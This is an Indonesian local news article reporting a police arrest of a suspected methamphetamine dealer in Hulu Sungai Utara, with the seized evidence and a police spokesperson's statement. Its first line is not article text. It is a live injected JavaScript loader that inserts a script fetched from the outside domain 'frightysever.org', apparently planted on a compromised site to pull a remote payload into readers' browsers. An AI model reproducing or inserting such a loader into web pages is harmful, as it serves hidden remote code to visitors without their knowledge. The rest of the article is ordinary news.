(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Seorang lelaki berinisial JY (40) diringkus Satuan Reserse Narkoba (Satresnarkoba) Polres Hulu Sungai Utara (HSU) diduga pengedar narkotika dengan barang bukti sebanyak 10 paket sabu 48,49 gram.
Tersangka berusia 40 tahun tersebut ditangkap di rumahnya yang juga berfungsi sebagai warung di Desa Paminggir, Kecamatan Paminggir, Kabupaten Hulu Sungai Utara.
Pengungkapan kasus Narkoba bermula dari informasi masyarakat yang resah atas aktivitas mencurigakan pelaku yang diduga sering melakukan transaksi narkoba.
Baca juga: Hakim MK Tolak Gugatan PSU Pilwali Banjarbaru
Berdasarkan laporan tersebut, Tim Satresnarkoba segera melakukan penyelidikan dan penggerebekan pada Jumat, 23 Mei 2025 sekitar pukul 20.10 Wita.
Saat dilakukan pemeriksaan di lokasi penggerebekan, petugas menemukan 1 paket kecil sabu yang disembunyikan dalam kipas angin jepit yang berada di ujung meja warung.
Tak berhenti di situ, saat penggeledahan dilanjutkan ke dalam rumah di kamar tidur, polisi menemukan 9 paket sabu lainnya yang disimpan dalam speaker aktif warna cokelat bersama sejumlah barang yang diduga sebagai alat bantu pengemasan narkoba.
Adapun barang bukti yang berhasil diamankan diantaranya 10 paket narkotika jenis sabu dengan berat 48,49 gram atau 47,85 gram berat bersih, 7 lembar plastik klip transparan, sedotan plastik warna biru (alat takar) kantong plastik warna hitam, satu buah timbangan digital warna silver, kipas angin jepit warna putih-hijau dan speaker aktif warna cokelat.
Baca juga: Kesiapsiagaan Hadapi Karhutla, Ini Kata Kapolres HSU
Saat ini, tersangka dan barang bukti telah diamankan di Satresnarkoba Polres HSU guna dilakukan penyidikan lebih lanjut.
Kapolres Hulu Sungai Utara AKBP Agus Nuryanto, melalui Kasi Humas AKP Sulkani mengatakan bahwa keberhasilan ini merupakan hasil kerja keras petugas di lapangan dan didukung masyarakat.
“Kami tegaskan tidak ada tempat bagi pelaku penyalahgunaan dan peredaran narkoba di wilayah hukum Polres Hulu Sungai Utara. Tindakan tegas akan kami ambil untuk setiap bentuk pelanggaran hukum, terutama narkotika yang menjadi musuh bersama. Keberhasilan ini adalah bukti bahwa kami serius dalam memerangi narkoba,” ujar AKP Sulkani, kepada media, Senin (26/5/2025).
Baca juga: Atlet Balangan Sukses Raih 22 Medali dari Popda Kalsel
Pengungkapan kasus ini menunjukkan komitmen Satresnarkoba Polres HSU dalam memberantas peredaran gelap narkoba.
Lebih lanjut, AKP Sulkani juga mengajak masyarakat untuk terus aktif memberikan informasi kepada pihak kepolisian bila melihat atau mencurigai adanya kegiatan peredaran narkotika di lingkungannya.
“Polres Hulu Sungai Utara mengimbau seluruh lapisan masyarakat untuk tidak segan melapor dan bersama-sama berperan aktif dalam mewujudkan wilayah yang bebas dari narkoba,” tegasnya.(Kanalkalimantan.com/dew)
Reporter: dew
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru terus mempercepat transformasi digital dalam tata kelola keuangan daerah.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kota Banjarmasin menjadi lokasi kegiatan berbagi 2.500 sepatu ke anak sekolah oleh… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Forum Rakyat Peduli Negara dan Bangsa (Forpeban) Kalimantan Selatan (Kalsel) menggelar unjuk… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemprov Kalsel fokus pada penyusunan dan peninjauan detail engineering design (DED) sebagai bagian… Read More
KANALKALIMANTAN.COM, JAKARTA – Di bawah kepemimpinan Bupati Banjar H Saidi Mansyur, Pemerintah Kabupaten Banjar kembali… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Merayakan Hari Ulang Tahun (HUT) ke-46 Komando Resor Militer (Korem) 101/Antasari membagikan… Read More
This website uses cookies.